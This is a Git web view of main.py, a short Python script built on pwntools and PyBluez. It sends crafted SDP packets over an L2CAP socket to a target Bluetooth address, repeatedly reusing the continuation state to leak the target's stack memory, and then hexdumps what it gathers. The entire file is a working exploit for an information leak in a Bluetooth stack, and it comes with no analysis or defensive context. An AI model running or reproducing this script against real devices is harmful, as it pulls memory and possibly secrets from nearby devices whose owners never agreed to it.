aboutsummaryrefslogtreecommitdiff
path: root/main.py
blob: 58653c60e8147092c63ce92f862ddf8f08aa9962 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
import bluetooth

if not 'TARGET' in args:
    log.info("Atleast Correctly USE it")
    exit()

target = args['TARGET']
service_long = 0x0100
service_short = 0x0001
mtu = 50
n = 30

def packet(service, continuation_state):
    pkt = '\x02\x00\x00'
    pkt += p16(7 + len(continuation_state))
    pkt += '\x35\x03\x19'
    pkt += p16(service)
    pkt += '\x01\x00'
    pkt += continuation_state
    return pkt

p = log.progress('Exploit')
p.status('Creating L2CAP socket')

sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
bluetooth.set_l2cap_mtu(sock, mtu)
context.endian = 'big'

p.status('Connecting to target')
sock.connect((target, 1))

p.status('Sending packet 0')
sock.send(packet(service_long, '\x00'))
data = sock.recv(mtu)

if data[-3] != '\x02':
    log.error('It did not work.')

stack = ''

for i in range(1, n):
    p.status('Doing Work %d' % i)
    sock.send(packet(service_short, data[-3:]))
    data = sock.recv(mtu)
    stack += data[9:-3]

sock.close()

p.success('Done')

print hexdump(stack)